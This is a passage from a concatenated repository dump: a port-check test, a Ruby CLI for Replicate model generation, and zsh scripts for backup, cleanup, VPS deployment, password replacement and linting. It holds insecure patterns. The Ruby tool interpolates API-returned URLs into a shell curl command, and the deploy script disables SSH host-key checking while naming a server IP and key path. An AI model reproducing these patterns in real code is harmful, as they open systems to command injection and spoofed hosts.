frontend/stimulus_components.js app/javascript/stimulus_components.js\n  copy_one \"$app\" app/controllers/concerns/shared/live_searchable.rb app/controllers/concerns/shared/live_searchable.rb\n  copy_one \"$app\" app/controllers/concerns/shared/structured_events.rb app/controllers/concerns/shared/structured_events.rb\n  copy_one \"$app\" app/controllers/concerns/shared/media_guard.rb app/controllers/concerns/shared/media_guard.rb\n  copy_one \"$app\" app/jobs/shared/media_processing_job.rb app/jobs/shared/media_processing_job.rb\n  copy_one \"$app\" app/services/shared/live_search.rb app/services/shared/live_search.rb\n  copy_one \"$app\" app/services/shared/event_emitter.rb app/services/shared/event_emitter.rb\n  copy_one \"$app\" app/views/shared/_copyable.html.erb app/views/shared/_copyable.html.erb\ndone\n```\n\n## `rails/shared/public/robots.txt`\n```text\n# See https://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file\n```\n\n## `rails/test_check_ports.sh`\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" &amp;&amp; pwd)\nCHECK_PORTS=\"$SCRIPT_DIR/check_ports.sh\"\nTMP_DIR=$(mktemp -d)\ntrap 'rm -rf \"$TMP_DIR\"' EXIT\n\nwrite_master_json() {\n    cat &gt; \"$TMP_DIR/master.json\"\n}\n\nrun_check() {\n    MASTER_JSON=\"$TMP_DIR/master.json\" \"$CHECK_PORTS\" &gt;/tmp/check_ports.out 2&gt;/tmp/check_ports.err\n}\n\nassert_passes_valid_config() {\n    write_master_json &lt;&lt;'JSON'\n{\n  \"apps\": [\n    { \"name\": \"amber\", \"port\": 4010 },\n    { \"name\": \"baibl\", \"port\": 4011 }\n  ]\n}\nJSON\n    run_check\n}\n\nassert_rejects_duplicate_ports() {\n    write_master_json &lt;&lt;'JSON'\n{\n  \"apps\": [\n    { \"name\": \"amber\", \"port\": 4010 },\n    { \"name\": \"baibl\", \"port\": 4010 }\n  ]\n}\nJSON\n    if run_check; then\n        printf 'expected duplicate-port config to fail\\n' &gt;&amp;2\n        return 1\n    fi\n}\n\nassert_rejects_invalid_port() {\n    write_master_json &lt;&lt;'JSON'\n{\n  \"apps\": [\n    { \"name\": \"amber\", \"port\": 70000 }\n  ]\n}\nJSON\n    if run_check; then\n        printf 'expected invalid-port config to fail\\n' &gt;&amp;2\n        return 1\n    fi\n}\n\nassert_passes_valid_config\nassert_rejects_duplicate_ports\nassert_rejects_invalid_port\nprintf '\u2705 check_ports tests passed\\n'\n```\n\n## `repligen.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n# Repligen - Replicate.com AI Generation CLI\n# Version: 5.0.0 - Consolidated (zero sprawl per master.json)\n#\n# Usage:\n#   ruby repligen.rb              # Interactive menu\n#   ruby repligen.rb sync 100     # Sync 100 models\n#   ruby repligen.rb search upscale\n#   ruby repligen.rb stats\n\nrequire \"net/http\"\nrequire \"json\"\nrequire \"fileutils\"\n\n# ============================================================================\n# CONFIGURATION\n# ============================================================================\n\nCONFIG_PATH = File.expand_path(\"~/.config/repligen/config.json\")\nDB_PATH = ENV.fetch(\"REPLIGEN_DB\") { File.expand_path(\"~/.local/share/repligen/repligen.db\") }\n\n# Model type patterns (embedded)\nMODEL_TYPES = {\n  \"text-to-image\" =&gt; [\"text.*image\", \"txt2img\", \"t2i\", \"dalle\", \"stable.*diffusion\", \"flux\", \"sdxl\", \"imagen\"],\n  \"image-to-video\" =&gt; [\"image.*video\", \"img2vid\", \"i2v\", \"animate\"],\n  \"upscale\" =&gt; [\"upscale\", \"super.*res\", \"enhance\"],\n  \"image-processing\" =&gt; [\"background\", \"rembg\", \"segment\", \"mask\"],\n  \"style-transfer\" =&gt; [\"style\", \"artistic\"],\n  \"video\" =&gt; [\"video\", \"motion\"],\n  \"audio\" =&gt; [\"audio\", \"music\", \"sound\", \"tts\", \"speech\"],\n  \"3d\" =&gt; [\"3d\", \"mesh\", \"model\"]\n}.freeze\n\nCHAIN_TEMPLATES = {\n  \"masterpiece\" =&gt; [\n    { type: \"text-to-image\", count: 1 },\n    { types: [\"upscale\", \"style-transfer\", \"image-processing\"], count_range: [3, 8] },\n    { types: [\"upscale\", \"image-to-video\"], count: 1 }\n  ],\n  \"quick\" =&gt; [\n    { type: \"text-to-image\", count: 1 },\n    { type: \"upscale\", count: 1 }\n  ]\n}.freeze\n\n# ============================================================================\n# BOOTSTRAP\n# ============================================================================\n\ndef ensure_gems\n  require \"sqlite3\"\nrescue LoadError\n  abort \"[repligen] missing sqlite3 gem. Install dependencies outside repligen before running.\"\nend\n\n# ============================================================================\n# CONFIG MODULE\n# ============================================================================\n\nmodule Config\n  def self.load\n    return ENV[\"REPLICATE_API_TOKEN\"] if ENV[\"REPLICATE_API_TOKEN\"]\n    return load_from_file if File.exist?(CONFIG_PATH)\n    fail_with_instructions\n  end\n\n  def self.save(token)\n    FileUtils.mkdir_p(File.dirname(CONFIG_PATH))\n    File.write(CONFIG_PATH, JSON.pretty_generate({ api_token: token }))\n    File.chmod(0600, CONFIG_PATH)\n  end\n\n  private\n\n  def self.load_from_file\n    token = JSON.parse(File.read(CONFIG_PATH))[\"api_token\"]\n    return token if token\n    fail_with_instructions\n  end\n\n  def self.fail_with_instructions\n    abort &lt;&lt;~MSG\n\n      Missing REPLICATE_API_TOKEN\n\n      Get your token: https://replicate.com/account/api-tokens\n      Then either:\n        export REPLICATE_API_TOKEN=r8_...\n      Or:\n        echo '{\"api_token\":\"r8_...\"}' &gt; #{CONFIG_PATH}\n        chmod 600 #{CONFIG_PATH}\n    MSG\n  end\nend\n\n# ============================================================================\n# DATABASE MODULE\n# ============================================================================\n\nModel = Struct.new(:id, :owner, :name, :description, :type, :cost, :runs, :url, keyword_init: true)\n\nclass Database\n  attr_reader :db\n\n  def initialize(path = DB_PATH)\n    @db = SQLite3::Database.new(path)\n    @db.results_as_hash = true\n    setup_schema\n  end\n\n  def setup_schema\n    @db.execute_batch &lt;&lt;-SQL\n      CREATE TABLE IF NOT EXISTS models (\n        id TEXT PRIMARY KEY,\n        owner TEXT NOT NULL,\n        name TEXT NOT NULL,\n        description TEXT,\n        type TEXT,\n        cost REAL DEFAULT 0.05,\n        runs INTEGER DEFAULT 0,\n        url TEXT,\n        synced_at INTEGER\n      );\n      CREATE INDEX IF NOT EXISTS idx_type ON models(type);\n      CREATE INDEX IF NOT EXISTS idx_owner ON models(owner);\n    SQL\n  end\n\n  def save(model)\n    @db.execute(&lt;&lt;-SQL, model.values_at(:id, :owner, :name, :description, :type, :cost, :runs, :url))\n      INSERT OR REPLACE INTO models (id, owner, name, description, type, cost, runs, url, synced_at)\n      VALUES (?, ?, ?, ?, ?, ?, ?, ?, #{Time.now.to_i})\n    SQL\n  end\n\n  def by_type(type, limit = 100)\n    rows = @db.execute(\"SELECT * FROM models WHERE type = ? ORDER BY RANDOM() LIMIT ?\", [type, limit])\n    rows.map { |r| Model.new(**r.transform_keys(&amp;:to_sym).slice(*Model.members)) }\n  end\n\n  def search(query, limit = 20)\n    pattern = \"%#{query}%\"\n    rows = @db.execute(\n      \"SELECT * FROM models WHERE id LIKE ? OR description LIKE ? ORDER BY runs DESC LIMIT ?\",\n      [pattern, pattern, limit]\n    )\n    rows.map { |r| Model.new(**r.transform_keys(&amp;:to_sym).slice(*Model.members)) }\n  end\n\n  def random(count = 10)\n    rows = @db.execute(\"SELECT * FROM models ORDER BY RANDOM() LIMIT ?\", [count])\n    rows.map { |r| Model.new(**r.transform_keys(&amp;:to_sym).slice(*Model.members)) }\n  end\n\n  def count\n    @db.execute(\"SELECT COUNT(*) as c FROM models\")[0][\"c\"]\n  end\n\n  def stats\n    total = count\n    by_type = @db.execute(\"SELECT type, COUNT(*) as count FROM models WHERE type IS NOT NULL GROUP BY type ORDER BY count DESC\")\n    { total: total, by_type: by_type }\n  end\nend\n\n# ============================================================================\n# API MODULE\n# ============================================================================\n\nclass API\n  BASE = \"https://api.replicate.com/v1\"\n\n  def initialize(token)\n    @token = token\n  end\n\n  def models(limit: 1000)\n    all_models = []\n    cursor = nil\n\n    loop do\n      uri = URI(\"#{BASE}/models\")\n      uri.query = cursor ? URI.encode_www_form({ cursor: cursor }) : \"\"\n      data = get(uri)\n      results = data[\"results\"] || []\n      all_models.concat(results)\n\n      next_url = data[\"next\"]\n      cursor = next_url ? URI.decode_www_form(URI.parse(next_url).query || \"\").to_h[\"cursor\"] : nil\n      break if cursor.nil? || all_models.size &gt;= limit\n    end\n\n    all_models.map { |m| parse_model(m) }\n  end\n\n  def predict(model_id, input)\n    owner, name = model_id.split(\"/\")\n    model = get(URI(\"#{BASE}/models/#{owner}/#{name}\"))\n    version = model.dig(\"latest_version\", \"id\")\n    raise \"No version for #{model_id}\" unless version\n\n    pred = post(URI(\"#{BASE}/predictions\"), {\n      version: version,\n      input: input\n    })\n\n    wait_for(pred[\"id\"])\n  end\n\n  private\n\n  def get(uri)\n    req = Net::HTTP::Get.new(uri)\n    req[\"Authorization\"] = \"Token #{@token}\"\n    request(req, uri)\n  end\n\n  def post(uri, body)\n    req = Net::HTTP::Post.new(uri)\n    req[\"Authorization\"] = \"Token #{@token}\"\n    req[\"Content-Type\"] = \"application/json\"\n    req.body = body.to_json\n    request(req, uri)\n  end\n\n  def request(req, uri)\n    res = Net::HTTP.start(uri.host, uri.port, use_ssl: true, read_timeout: 120) do |http|\n      http.request(req)\n    end\n    raise \"API error #{res.code}: #{res.body}\" unless res.code.to_i.between?(200, 299)\n    JSON.parse(res.body)\n  end\n\n  def wait_for(id, timeout: 600)\n    start = Time.now\n    loop do\n      pred = get(URI(\"#{BASE}/predictions/#{id}\"))\n      case pred[\"status\"]\n      when \"succeeded\" then return pred[\"output\"]\n      when \"failed\" then raise \"Prediction failed: #{pred['error']}\"\n      when \"canceled\" then raise \"Canceled\"\n      end\n      raise \"Timeout after #{timeout}s\" if Time.now - start &gt; timeout\n      print \".\"\n      sleep 3\n    end\n  end\n\n  def parse_model(data)\n    {\n      id: \"#{data['owner']}/#{data['name']}\",\n      owner: data[\"owner\"],\n      name: data[\"name\"],\n      description: data[\"description\"],\n      type: infer_type(data[\"name\"], data[\"description\"]),\n      cost: 0.05,\n      runs: data[\"run_count\"] || 0,\n      url: data[\"url\"]\n    }\n  end\n\n  def infer_type(name, desc)\n    combined = \"#{name} #{desc}\".downcase\n    MODEL_TYPES.each do |type, patterns|\n      patterns.each do |pattern|\n        return type if combined.match?(/#{pattern}/i)\n      end\n    end\n    \"other\"\n  end\nend\n\n# ============================================================================\n# CHAIN BUILDER\n# ============================================================================\n\nChain = Struct.new(:models, :cost, keyword_init: true)\n\nclass ChainBuilder\n  def initialize(db, api)\n    @db = db\n    @api = api\n  end\n\n  def build(template_name = \"masterpiece\")\n    template = CHAIN_TEMPLATES[template_name]\n    raise \"Unknown template: #{template_name}\" unless template\n\n    models = []\n    cost = 0.0\n\n    template.each do |phase|\n      type = phase[:type] || phase[:types]&amp;.sample\n      count = if phase[:count_range]\n                rand(phase[:count_range][0]..phase[:count_range][1])\n              else\n                phase[:count]\n              end\n\n      count.times do\n        candidates = @db.by_type(type, 20)\n        next if candidates.empty?\n\n        model = candidates.sample\n        models &lt;&lt; model\n        cost += model.cost\n      end\n    end\n\n    Chain.new(models: models, cost: cost.round(3))\n  end\n\n  def execute(chain, initial_input)\n    puts \"\\n\ud83c\udfac EXECUTING CHAIN (#{chain.models.size} steps)\"\n    puts \"=\" * 70\n\n    output = initial_input\n    total_cost = 0.0\n\n    chain.models.each_with_index do |model, i|\n      puts \"\\n[#{i+1}/#{chain.models.size}] #{model.id} (#{model.type})\"\n      begin\n        input = format_input(model.type, output)\n        output = @api.predict(model.id, input)\n        total_cost += model.cost\n        puts \"  \u2713 $#{model.cost.round(3)}\"\n        sleep 1 # Rate limit\n      rescue StandardError =&gt; e\n        puts \"  \u2717 #{e.message}\"\n        puts \"  \u2192 Continuing with previous output\"\n      end\n    end\n\n    puts \"\\n\" + \"=\" * 70\n    puts \"\u2713 Complete! Total: $#{total_cost.round(3)}\"\n    { output: output, cost: total_cost }\n  end\n\n  private\n\n  def format_input(type, prev)\n    case type\n    when \"text-to-image\"\n      { prompt: prev.is_a?(String) ? prev : \"masterpiece artwork\" }\n    when \"image-to-video\"\n      prev.is_a?(String) &amp;&amp; prev.start_with?(\"http\") ?\n        { image: prev } : { prompt: \"cinematic motion\" }\n    when \"upscale\"\n      prev.is_a?(String) &amp;&amp; prev.start_with?(\"http\") ?\n        { image: prev, scale: 2 } : { prompt: \"enhance\" }\n    when \"image-processing\", \"style-transfer\"\n      prev.is_a?(String) &amp;&amp; prev.start_with?(\"http\") ?\n        { image: prev } : { prompt: \"process\" }\n    else\n      prev.is_a?(Hash) ? prev : { input: prev }\n    end\n  end\nend\n\n# ============================================================================\n# INTERACTIVE MENU\n# ============================================================================\n\ndef show_menu\n  puts \"\\n\" + \"=\" * 60\n  puts \"\ud83c\udfa8 REPLIGEN - Replicate.com AI Generation\"\n  puts \"=\" * 60\n  puts\n  puts \"1. Sync Models from Replicate\"\n  puts \"2. Search Models\"\n  puts \"3. Generate with LoRA URL\"\n  puts \"4. Run Chain Workflow\"\n  puts \"5. Show Statistics\"\n  puts \"6. Exit\"\n  puts\n  print \"Choose [1-6]: \"\n  gets.chomp\nend\n\ndef interactive_mode\n  ensure_gems\n  token = Config.load\n  api = API.new(token)\n  db = Database.new\n\n  loop do\n    choice = show_menu\n\n    case choice\n    when \"1\"\n      print \"How many models to sync? [100]: \"\n      limit = gets.chomp\n      limit = limit.empty? ? 100 : limit.to_i\n      sync_models(api, db, limit)\n\n    when \"2\"\n      print \"Search query: \"\n      query = gets.chomp\n      results = db.search(query, 20)\n      puts \"\\n\ud83d\udccb Results (#{results.size}):\"\n      results.each { |m| puts \"  #{m.id} - #{m.description&amp;.slice(0, 60)}\" }\n\n    when \"3\"\n      print \"LoRA model URL (replicate.com/owner/model): \"\n      url = gets.chomp\n      if url =~ /replicate\\.com\\/([\\w-]+\\/[\\w-]+)/\n        model_id = $1\n        print \"Prompt [masterpiece, best quality]: \"\n        prompt = gets.chomp\n        prompt = \"masterpiece, best quality\" if prompt.empty?\n        generate_with_lora(api, model_id, prompt)\n      else\n        puts \"\u274c Invalid URL\"\n      end\n\n    when \"4\"\n      print \"Template [masterpiece/quick]: \"\n      template = gets.chomp\n      template = \"masterpiece\" if template.empty?\n      run_chain(db, api, template)\n\n    when \"5\"\n      show_stats(db)\n\n    when \"6\", \"q\", \"quit\", \"exit\"\n      puts \"\\n\ud83d\udc4b Goodbye!\"\n      exit 0\n\n    else\n      puts \"\\n\u26a0\ufe0f  Invalid choice\"\n    end\n  end\nend\n\n# ============================================================================\n# COMMANDS\n# ============================================================================\n\ndef sync_models(api, db, limit)\n  puts \"\\n\ud83d\udce1 Syncing #{limit} models from Replicate...\"\n  models = api.models(limit: limit)\n  models.each { |m| db.save(m) }\n  puts \"\u2713 Synced #{models.size} models\"\nend\n\ndef generate_with_lora(api, model_id, prompt)\n  puts \"\\n\ud83d\ude80 Generating with #{model_id}...\"\n  output = api.predict(model_id, { prompt: prompt })\n  output_dir = \"output/#{model_id.gsub('/', '_')}_#{Time.now.to_i}\"\n  FileUtils.mkdir_p(output_dir)\n\n  if output.is_a?(Array)\n    output.each_with_index do |url, i|\n      filename = File.join(output_dir, \"image_#{i}.png\")\n      puts \"\ud83d\udcbe Downloading #{url}...\"\n      system(\"curl -s -o '#{filename}' '#{url}'\")\n      puts \"\u2713 #{filename}\"\n    end\n  elsif output.is_a?(String)\n    filename = File.join(output_dir, \"output.png\")\n    puts \"\ud83d\udcbe Downloading #{output}...\"\n    system(\"curl -s -o '#{filename}' '#{output}'\")\n    puts \"\u2713 #{filename}\"\n  end\n\n  puts \"\\n\u2713 Complete! Output: #{output_dir}\"\nend\n\ndef run_chain(db, api, template)\n  builder = ChainBuilder.new(db, api)\n  chain = builder.build(template)\n\n  puts \"\\n\ud83c\udfac Chain Built (#{chain.models.size} steps, $#{chain.cost})\"\n  chain.models.each_with_index { |m, i| puts \"  #{i+1}. #{m.id} ($#{m.cost})\" }\n\n  print \"\\nExecute? [y/N]: \"\n  return unless gets.chomp.downcase == \"y\"\n\n  print \"Initial prompt: \"\n  prompt = gets.chomp\n  prompt = \"masterpiece artwork\" if prompt.empty?\n\n  result = builder.execute(chain, prompt)\n  puts \"\\n\u2713 Final output: #{result[:output]}\"\nend\n\ndef show_stats(db)\n  stats = db.stats\n  puts \"\\n\ud83d\udcca Database Statistics\"\n  puts \"=\" * 60\n  puts \"Total models: #{stats[:total]}\"\n  puts \"\\nBy Type:\"\n  stats[:by_type].each { |row| puts \"  #{row['type']&amp;.ljust(20)} #{row['count']}\" }\nend\n\n# ============================================================================\n# CLI\n# ============================================================================\n\nif __FILE__ == $PROGRAM_NAME\n  case ARGV[0]\n  when \"sync\"\n    ensure_gems\n    token = Config.load\n    api = API.new(token)\n    db = Database.new\n    limit = ARGV[1]&amp;.to_i || 100\n    sync_models(api, db, limit)\n\n  when \"search\"\n    ensure_gems\n    db = Database.new\n    query = ARGV[1] || \"\"\n    results = db.search(query, 20)\n    puts \"Results (#{results.size}):\"\n    results.each { |m| puts \"  #{m.id} - #{m.description&amp;.slice(0, 60)}\" }\n\n  when \"stats\"\n    ensure_gems\n    db = Database.new\n    show_stats(db)\n\n  when \"generate\"\n    ensure_gems\n    token = Config.load\n    api = API.new(token)\n    model_id = ARGV[1]\n    prompt = (ARGV[2..] || []).join(\" \")\n    if model_id &amp;&amp; !prompt.empty?\n      generate_with_lora(api, model_id, prompt)\n    else\n      puts \"Usage: ruby repligen.rb generate  \"\n      puts \"Example: ruby repligen.rb generate black-forest-labs/flux-1.1-pro 'cinematic portrait, natural light, kodak portra'\"\n    end\n\n  when \"--help\", \"-h\"\n    puts &lt;&lt;~HELP\n      Repligen - Replicate.com AI Generation CLI\n\n      Usage:\n        ruby repligen.rb              # Interactive menu\n        ruby repligen.rb sync 100     # Sync 100 models\n        ruby repligen.rb search upscale\n        ruby repligen.rb stats\n        ruby repligen.rb generate black-forest-labs/flux-1.1-pro \"pro photo prompt here\"\n\n      Features:\n        - Model discovery &amp; database\n        - Direct generation (t2i via Replicate Flux/SD etc.)\n        - LoRA generation\n        - Chain workflows (masterpiece/quick)\n        - Cost tracking\n        - Pair with /postpro for filmic photography polish (grain, kodak stocks, cinematic)\n    HELP\n\n  else\n    interactive_mode\n  end\nend\n```\n\n## `sh/backup.sh`\n```bash\n#!/usr/bin/env zsh\nset -euo pipefail\n\n# Archives folders to dated .tgz files, skips unchanged ones.\n\n# Usage: ./backup.sh [directory]\n\nlog_error() {\n\n  print \"[$(date +\"%Y-%m-%d %H:%M:%S\")] $1\" &gt;&gt; \"$HOME/script_errors.log\"\n\n}\n\ndir=\"${1:-.}\"\n\nchecksum_file=\"$dir/.backup_checksums\"\n\ndate_format=$(date +\"%Y%m%d\")\n\ncd \"$dir\" || exit 1\n\n# Load prior checksums to check for changes\n\ntypeset -A old_checksums\n\nif [[ -f \"$checksum_file\" ]]; then\n\n  while read -r folder checksum; do\n\n    old_checksums[\"$folder\"]=\"$checksum\"\n\n  done &lt; \"$checksum_file\"\n\nfi\n\ntypeset -A new_checksums\n\nfor subdir in */(N); do\n\n  folder=\"${subdir%/}\"\n\n  # Pure zsh: glob for files, collect MD5s, sort with ${(o)arr}, then hash\n\n  typeset -a file_hashes=()\n\n  for file in \"$folder\"/**/*(.N); do\n\n    file_hashes+=($(md5 -q \"$file\" 2&gt;/dev/null))\n\n  done\n\n  # Sort using pure zsh and create final checksum\n\n  typeset -a sorted_hashes=( ${(o)file_hashes} )\n\n  checksum=$(print -l \"${sorted_hashes[@]}\" | md5 -q)\n\n  new_checksums[\"$folder\"]=\"$checksum\"\n\n  backup_file=\"${folder}_${date_format}.tgz\"\n\n  if [[ -z \"${old_checksums[$folder]}\" || \"${old_checksums[$folder]}\" != \"$checksum\" ]]; then\n\n    print \"Backing up: $folder -&gt; $backup_file\"\n\n    tar cvzf \"$backup_file\" \"$folder\" 2&gt;/dev/null\n\n    if [[ $? -ne 0 ]]; then\n\n      log_error \"tar failed for $backup_file\"\n\n      print \"Failed: $backup_file\"\n\n    else\n\n      print \"Created: $backup_file\"\n\n    fi\n\n  else\n\n    print \"Skipped (no changes): $folder\"\n\n  fi\n\ndone\n\n# Updates checksum file for next run\n\nfor folder in ${(k)new_checksums}; do\n\n  print \"$folder ${new_checksums[$folder]}\"\n\ndone &gt; \"$checksum_file\"\n```\n\n## `sh/clean.sh`\n```bash\n#!/usr/bin/env zsh\nset -euo pipefail\nsetopt nullglob extendedglob\n\ndir=\"${1:-.}\"\n\n[[ -d \"$dir\" ]] || { print \"Error: '$dir' is not a directory\"; exit 1 }\n\nfor file in \"$dir\"/**/*(.N); do\n  local filetype=$(file -b \"$file\")\n  [[ $filetype == *text* ]] || continue\n\n  local content=$(&lt;\"$file\")\n  content=${content//$''/}\n  local -a lines=(\"${(@f)content}\")\n  local -a cleaned=()\n  local prev_blank=0\n\n  for line in \"${lines[@]}\"; do\n    line=${line%%[[:space:]]#}\n    if [[ -z $line ]]; then\n      if [[ $prev_blank -eq 0 ]]; then\n        cleaned+=(\"\")\n        prev_blank=1\n      fi\n    else\n      cleaned+=(\"$line\")\n      prev_blank=0\n    fi\n  done\n\n  local tmp=$(mktemp)\n  print -l \"${cleaned[@]}\" &gt; \"$tmp\" &amp;&amp; mv \"$tmp\" \"$file\" &amp;&amp; print \"Cleaned: $file\" || { rm \"$tmp\"; print \"Failed: $file\" }\ndone\n```\n\n## `sh/deploy_all.sh`\n```bash\n#!/usr/bin/env zsh\n# Complete VPS deployment orchestrator per master.yml v72.1.0\n# Deploys all 15 Rails apps to OpenBSD VPS 46.23.89.226\nset -euo pipefail\nreadonly VPS_HOST=\"46.23.89.226\"\nreadonly VPS_USER=\"dev\"\nreadonly SSH_KEY=\"/cygdrive/g/priv/passwd/id_rsa\"\nreadonly LOCAL_BASE=\"/cygdrive/g/pub\"\nreadonly REMOTE_BASE=\"/home/dev\"\n# Status reporting\nlog() {\n  printf '[%s] %s\n' \"$(date +%H:%M:%S)\" \"$*\"\n}\nerror() {\n  log \"ERROR: $*\"\n  exit 1\n}\n# SSH wrapper\nvssh() {\n  ssh -i \"$SSH_KEY\" -o StrictHostKeyChecking=no -o ConnectTimeout=10 \"${VPS_USER}@${VPS_HOST}\" \"$@\"\n}\n# File transfer\nvscp() {\n  scp -i \"$SSH_KEY\" -o StrictHostKeyChecking=no -r \"$@\"\n}\nlog \"Starting complete VPS deployment\"\n# 1. Test connectivity\nlog \"Testing VPS connectivity...\"\nvssh 'uname -a' || error \"Cannot connect to VPS\"\n# 2. Upload files\nlog \"Uploading rails generators...\"\nvscp \"${LOCAL_BASE}/rails\" \"${VPS_USER}@${VPS_HOST}:${REMOTE_BASE}/\" || error \"Upload failed\"\nlog \"Uploading openbsd infrastructure...\"\nvscp \"${LOCAL_BASE}/openbsd\" \"${VPS_USER}@${VPS_HOST}:${REMOTE_BASE}/\" || error \"Upload failed\"\nlog \"Uploading master.yml...\"\nvscp \"${LOCAL_BASE}/master.yml\" \"${VPS_USER}@${VPS_HOST}:${REMOTE_BASE}/\" || error \"Upload failed\"\n# 3. Run infrastructure setup\nlog \"Running infrastructure setup (openbsd.sh --pre-point)...\"\nvssh \"cd ${REMOTE_BASE}/openbsd &amp;&amp; doas zsh openbsd.sh --pre-point\" || log \"WARN: Infrastructure may need manual intervention\"\n# 4. Deploy Rails apps sequentially\ntypeset -a APPS\nAPPS=(brgen amber blognet bsdports hjerterom privcam pub_attorney)\nfor app in $APPS; do\n  log \"Deploying ${app}...\"\n  vssh \"cd ${REMOTE_BASE}/rails &amp;&amp; zsh ${app}.sh 2&gt;&amp;1 | tee /tmp/${app}_deploy.log\" || log \"WARN: ${app} deployment issues - check /tmp/${app}_deploy.log\"\ndone\n# 5. Verify deployments\nlog \"Verifying app processes...\"\nvssh 'ps aux | grep -E \"falcon|puma|rails\" | grep -v grep' || log \"WARN: No Rails processes detected\"\nlog \"Checking listening ports...\"\nvssh 'netstat -an | grep LISTEN | grep -E \"1000[1-7]|11006\"' || log \"WARN: Expected ports not listening\"\n# 6. Summary\nlog \"Deployment complete!\"\nlog \"\"\nlog \"Next steps:\"\nlog \"  1. Point DNS records to ns.brgen.no (46.23.89.226)\"\nlog \"  2. Wait 24-48h for propagation\"\nlog \"  3. Run: ssh ${VPS_USER}@${VPS_HOST} 'cd ${REMOTE_BASE}/openbsd &amp;&amp; doas zsh openbsd.sh --post-point'\"\nlog \"\"\nlog \"Access VPS: ssh -i ${SSH_KEY} ${VPS_USER}@${VPS_HOST}\"\nlog \"Check logs: ssh ${VPS_USER}@${VPS_HOST} 'tail -f /var/log/rails/*.log'\"\n```\n\n## `sh/fix_passwords.zsh`\n```bash\n#!/usr/bin/env zsh\nset -euo pipefail\n\n# Pure zsh script to fix hardcoded passwords in ALL installer scripts\n\n# NO bash, sed, awk, perl, python - pure zsh only\n\nsetopt extended_glob\nlog() { print \"[$(date '+%H:%M:%S')] $*\" }\nfix_passwords_in_file() {\n  local file=\"$1\"\n\n  if [[ ! -f \"$file\" ]]; then\n    log \"\u26a0\ufe0f  File not found: $file\"\n\n    return 1\n\n  fi\n\n  log \"Fixing: $file\"\n  # Pure zsh: read entire file into variable\n  local content=$(&lt;\"$file\")\n\n  # Pure zsh: global string replacement using parameter expansion\n  content=\"${content//password: \\\"password123\\\"/password: SecureRandom.alphanumeric(20)}\"\n\n  content=\"${content//password: \\'password123\\'/password: SecureRandom.alphanumeric(20)}\"\n\n  # Write back to file\n  print -r -- \"$content\" &gt; \"$file\"\n\n  log \"\u2705 Fixed: $file\"\n}\n\nlog \"Starting password fixes using pure zsh patterns...\"\n# Array of files to fix\ntypeset -a files_to_fix\n\nfiles_to_fix=(\n\n  apps/privcam.sh\n\n  apps/hjerterom.sh\n\n  apps/pubattorney.sh\n\n  apps/brgen.sh\n\n  brgen_dating.sh\n\n  brgen_marketplace.sh\n\n  brgen_playlist.sh\n\n  brgen_takeaway.sh\n\n  brgen_tv.sh\n\n)\n\n# Fix each file\nfor file in \"${files_to_fix[@]}\"; do\n\n  fix_passwords_in_file \"$file\"\n\ndone\n\nlog \"\u2705 All passwords fixed with pure zsh!\"\n```\n\n## `sh/free_up_space.sh`\n```bash\n#!/usr/bin/env zsh\nset -euo pipefail\nsetopt nullglob\n# Finds and deletes large files to free up space.\n# Usage: ./free_up_space.sh [directory]\nsearch_dir=\"${1:-.}\"\nif [[ ! -d \"$search_dir\" ]]; then\n  print \"Error: '$search_dir' is not a directory\"\n  exit 1\nfi\nprint \"Scanning '$search_dir'...\"\n# Pure zsh: get file sizes using stat builtin\ntypeset -a file_sizes=()\ntypeset -A size_map\nfor file in \"$search_dir\"/**/*(.N); do\n  # Get file size in KB using pure zsh stat\n  size=$(( $(zstat +size \"$file\") / 1024 ))\n  size_map[$file]=$size\n  file_sizes+=(\"${size}:${file}\")\ndone\nif (( ${#file_sizes} == 0 )); then\n  print \"No files found.\"\n  exit 0\nfi\n# Sort by size (descending) and take top 10 using pure zsh\ntypeset -a sorted=( ${(On)file_sizes} )  # O = reverse sort, n = numeric\ntypeset -a top_ten=( ${sorted[1,10]} )\n# Format for display\ntypeset -a large_files=()\nfor entry in \"${top_ten[@]}\"; do\n  size=\"${entry%%:*}\"\n  path=\"${entry#*:}\"\n  # Convert KB to human readable with pure zsh\n  if (( size &gt;= 1048576 )); then\n    human_size=\"$((size / 1048576))G\"\n  elif (( size &gt;= 1024 )); then\n    human_size=\"$((size / 1024))M\"\n  else\n    human_size=\"${size}K\"\n  fi\n  large_files+=(\"$human_size $path\")\ndone\nprint \"Largest files:\"\nfor i in {1..${#large_files}}; do\n  print -f \"%2d: %s\n\" \"$i\" \"${large_files[i]}\"\ndone\nprint \"\nDelete? (y/N)\"\nread -r response\nif [[ ! \"$response\" =~ ^[Yy]$ ]]; then\n  print \"Done.\"\n  exit 0\nfi\nprint \"Enter numbers (e.g., 1 3 5) or 'all':\"\nread -r delete_list\nif [[ \"$delete_list\" == \"all\" ]]; then\n  for line in \"${large_files[@]}\"; do\n    path=\"${line#* }\"\n    if rm -f \"$path\" 2&gt;/dev/null; then\n      print \"Deleted: $path\"\n    else\n      print \"Failed: $path\"\n    fi\n  done\nelse\n  for num in ${(s: :)delete_list}; do\n    if (( num &gt;= 1 &amp;&amp; num &lt;= ${#large_files} )); then\n      path=\"${large_files[num]#* }\"\n      if rm -f \"$path\" 2&gt;/dev/null; then\n        print \"Deleted: $path\"\n      else\n        print \"Failed: $path\"\n      fi\n    else\n      print \"Invalid: $num\"\n    fi\n  done\nfi\nprint \"Done.\"\n```\n\n## `sh/lint.sh`\n```bash\n#!/usr/bin/env zsh\nset -euo pipefail\nsetopt nullglob extendedglob\n\n# Lints Ruby/ERB files using bundler-scoped rubocop + reek.\n# Run from any directory; resolves MASTER bundle automatically.\n# Usage: ./lint.sh [path]\n\nMASTER_ROOT=\"${HOME}/pub4/MASTER\"\nTARGET=\"${1:-.}\"\n\nbundle_exec() {\n  (cd \"$MASTER_ROOT\" &amp;&amp; bundle exec \"$@\")\n}\n\nlint_ruby() {\n  local file=\"$1\"\n  print \"\u2192 $file\"\n\n  if ! bundle_exec reek --no-color \"$file\" 2&gt;/dev/null; then\n    print \"  reek: smells found\"\n  fi\n\n  if ! bundle_exec rubocop --autocorrect --config \"${MASTER_ROOT}/.rubocop.yml\" --no-color \"$file\" 2&gt;/dev/null; then\n    print \"  rubocop: offenses remain after autocorrect\"\n  fi\n}\n\nfor file in ${TARGET}/**/*.{rb,erb}(.N); do\n  [[ \"$file\" == */.gem/* || \"$file\" 